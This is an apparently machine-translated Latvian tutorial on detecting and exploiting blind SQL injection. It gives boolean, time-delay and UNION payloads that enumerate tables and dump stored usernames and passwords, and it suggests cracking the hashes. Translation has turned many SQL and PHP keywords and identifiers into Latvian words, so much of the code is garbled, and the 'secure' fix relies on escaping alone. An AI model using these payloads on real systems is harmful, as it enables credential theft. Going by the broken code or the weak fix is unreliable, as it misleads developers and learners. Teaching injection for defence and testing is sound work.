Drošība

Aklās SQL injicēšanas tehnikas apmācība

Aklās SQL injicēšanas tehnikas apmācība

Kas ir SQL injekcija?

SQL Injection ir datu bāzes uzbrukuma veids, kurā uzbrucējs mēģina nozagt informāciju no tīmekļa lietojumprogrammas datu bāzes. Tas var izraisīt pat attālu koda izpildi atkarībā no tīmekļa lietojumprogrammas vides un datu bāzes versijas.

SQL injicēšana notiek sliktas lietotāju ievades dezinficēšanas dēļ. Ja ņemat ievadi no lietotāja kādā kodēšanas valodā (PHP, ASP.NET) un pārsūtiet to tieši uz servera datu bāzi, nepievienojot filtram ievadi, tas var izraisīt SQL Injection ievainojamību.

Piemēram, šis PHP kods ir neaizsargāts pret SQL Injection uzbrukumu, jo tas tieši nodod lietotāja ievadīto informāciju datu bāzei. Uzbrucējs var izveidot pats savu ļaunprātīgu datu bāzes vaicājumu, lai iegūtu datus no datu bāzes.

// Userinput tiek saglabāts id mainīgajā
$ id = $ _GET ['id'];
// Userinput tiek tieši izpildīts datu bāzē
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = '$ id'";
// Kļūdas vai veiksmes gadījumā rezultāti tiek atgriezti lietotājam
$ result = mysql_query ($ getid) vai die ('
" . mysql_error () . "
');
$ num = mysql_numrows ($ rezultāts);

No otras puses, tiek sniegts droša koda piemērs šādam kodam, lai mijiedarbotos ar datu bāzi. Tas ņem lietotāja ievadi un filtrē no tā visas ļaunprātīgās rakstzīmes, pēc tam nodod to datu bāzei.

$ id = $ _GET ['id'];
$ id = sloksnes ($ id);
$ id = mysql_real_escape_string ($ id);

Normāla vs akla SQL injekcija

Normāla SQL injekcija

Parastā SQL injicēšanas gadījumā, ja uzbrucējs mēģina ievietot vienu citātu ('), kad šis vienīgais pēdējais tiek izpildīts datu bāzē, datu bāze atbild ar kļūdu. Kļūda tiek izdrukāta uzbrucēja pārlūkprogrammā.

Par šo kļūdu atbildīgais kods ir

// ja datu bāze atbild ar kļūdu, tiek izpildīta funkcija “or die ()”
lai izdrukātu kļūdu
$ result = mysql_query ($ getid) vai die ('
" . mysql_error () . "
');

Normālā SQL injekcijā uzbrucējs var redzēt kļūdu rezultātus un to viegli identificēt un izmantot.

Aklā SQL injekcija

Blind SQL Injection gadījumā, ja tiek izpildīts tāds ļaunprātīgs vaicājums kā viens citāts, datu bāzes kļūda netiek parādīta uzbrucēja pārlūkprogrammā vai tiek parādīta ļoti vispārīgā veidā, kuru uzbrucējs nevar viegli identificēt un izmantot.

Par to atbildīgais aizmugures kods ir norādīts zemāk

$ rezultāts = mysql_query ($ getid); // Noņemts 'or die', lai nomāktu mysql kļūdas

Blind SQL Injection gadījumā uzbrucējs nevar redzēt pilnīgus rezultātus, tāpēc šāda veida SQLi ir grūti identificēt un izmantot, taču tam ir tāds pats riska līmenis kā parastajai SQLi.

Aklās SQL injekcijas noteikšanas paņēmieni

Lai gan parasto SQL injekciju var noteikt, nosūtot vienu citātu (') kā ievadi un pārbaudot izvades kļūdu, aklo SQL injekciju nevar noteikt, izmantojot šo paņēmienu, jo tajā netiek parādīta nekāda SQL kļūda. Aklās SQL injekcijas noteikšanai ir daudz paņēmienu, daži no tiem tiek sniegti šādi

PATIESA un FALSE balstīta noteikšana

Viena no datu bāzu, tostarp MySQL, īpašībām ir atšķirīga uzvedība ar patiesiem un nepatiesiem apgalvojumiem. Pat ja datu bāzē nav kļūdu, mēs varam izlemt, vai izmantot patiesos un nepatiesos apgalvojumus. Apsveriet šādu scenāriju,

Šī lapa ir neaizsargāta pret Blind SQL injekciju, piešķirot tai patiesu paziņojumu, tiks parādīti visi ieraksti datu bāzē

1 'vai 1 = 1 #

Ja ievadīsiet nepareizu vaicājumu, dati netiks rādīti.

1 'vai 1 = 2 #

Pat tīmekļa vietnē nav kļūdu, atšķirība starp abām lapām norāda, ka mūsu vaicājumi tiek veiksmīgi izpildīti datu bāzē.

Uz laiku balstīta noteikšana

Datu bāzēs ir funkcija kavējumiem, ieskaitot MySQL, MS-SQL un citas. Mēs varam izmantot funkciju SLEEP () savos vaicājumos, ja datu bāzes reakcija ir lēna, tas nozīmē, ka mūsu vaicājums tiek veiksmīgi izpildīts un vietne ir neaizsargāta pret aklo SQL injicēšanu.

1 'UN gulēt (15) #

Ir vēl viena laikietilpīga funkcija “BENCHMARK”, kuru var izmantot, lai aizkavētu atbildi uz datu bāzi

1 'un etalons (10000000, SHA1 (1337)) #

Iepriekš minētā rinda 10000000 reizes izpildīs SHA1 () funkciju datu bāzē, kas atbildē ievērojami palielinās.

Blind SQL Injection uz laiku balstīta citās datu bāzēs

MS SQL: ID = 1; gaidīšanas kavēšanās '0: 0: 10'-

ORACLE SQL: UN [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: UN [RANDNUM] = (ATLASIET [RANDNUM] NO PG_SLEEP ([SLEEPTIME]))

SQLite: UN [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Datu bāzes informācijas iegūšana

Pirmais datu bāzes iegūšanas solis ir kolonnu numuru noteikšana datu bāzē. Pēc tam mēģiniet atrast neaizsargātas kolonnas, lai iegūtu papildu datus.

Aklā SQL injekcija uzvedas atšķirīgi ar dažādiem kolonnu numuriem vaicājumā “secība pēc”.

1 'pasūtījums pēc 1 #

Iepriekš minētais apgalvojums ir patiess, jo datu bāzē vienmēr pastāv vismaz 1 kolonna. Tagad mēģiniet ar ļoti lielu skaitu.

1 'pasūtījums pēc 10000 #

Datu bāzes atbilde atšķiras no iepriekšējās. Tagad mēģiniet ar 2 kolonnām.

Izraksts strādāja, tas nozīmē, ka datu bāzē ir 2 vai vairāk kolonnas. Tagad mēģiniet ar 3 kolonnām.

1 'pasūtījums pēc 3 #

Datu bāze nav nosūtījusi atbildi, tas nozīmē, ka datu bāzē ir tikai 2 kolonnas. Tagad mēs mēģināsim izmest tabulu sarakstu datu bāzē, tam izmantosim šādu vaicājumu

1 'savienojums visi atlasa 1, group_concat (table_name) no information_schema.
tabulas, kur table_schema = datu bāze () #

Aizmugures datu bāzē “viesu grāmata un lietotāji” ir divas tabulas. Tabulā “lietotāji” var būt lietotājvārdi un paroles. Lai no tabulas izvilktu kolonnu nosaukumus, ievietojiet šādu vaicājumu.

1 'savienojums visi atlasa 1, group_concat (kolonnas_nosaukums) no information_schema.
kolonnas, kur table_schema = datu bāze () #

Tagad mēs esam ieguvuši kolonnu nosaukumus, tostarp lietotāju un paroļu kolonnas. Šajās slejās tiek glabāti klientu lietotājvārdi un viņu paroles.

Tagad mēs mēģināsim iegūt datus, izmantojot šādu vaicājumu

1 'union visi atlasa 1, group_concat (lietotājs, parole) no lietotājiem #

Un tā jūs varat izmantot Blind SQL Injection, nepaļaujoties uz kļūdām. Izvades paroles lielākoties tiek jauktas, kuras var atšifrēt, izmantojot tādus rīkus kā John The Ripper vai Hashcat.

Secinājums:

Aklā SQL injekcija ir SQLi tips, kas neparāda datu bāzes kļūdas vai atbild uz to ar ļoti vispārīgu ziņojumu. Tāpēc ir ļoti grūti noteikt Blind SQL Injection ievainojamību tīmekļa lapā. Pēc atklāšanas jūs to varat viegli izmantot, izmantojot manuālu vai automatizētu procesu, izmantojot SQLmap.

Kontrolējiet un pārvaldiet peles kustību starp vairākiem monitoriem sistēmā Windows 10
Dual Display Mouse Manager ļauj kontrolēt un konfigurēt peles kustību starp vairākiem monitoriem, palēninot tās kustību robežas tuvumā. Windows 10/8 ļ...
WinMouse ļauj jums pielāgot un uzlabot peles rādītāja kustību Windows datorā
Ja vēlaties uzlabot peles rādītāja noklusējuma funkcijas, izmantojiet bezmaksas programmatūru WinMouse. Tas pievieno vairāk funkciju, kas palīdzēs jum...
Peles kreisā klikšķa poga nedarbojas operētājsistēmā Windows 10
Ja ar klēpjdatoru vai galddatoru izmantojat īpašu peli, bet nedarbojas peles kreisās klikšķa poga kādu iemeslu dēļ operētājsistēmā Windows 10/8/7 šeit...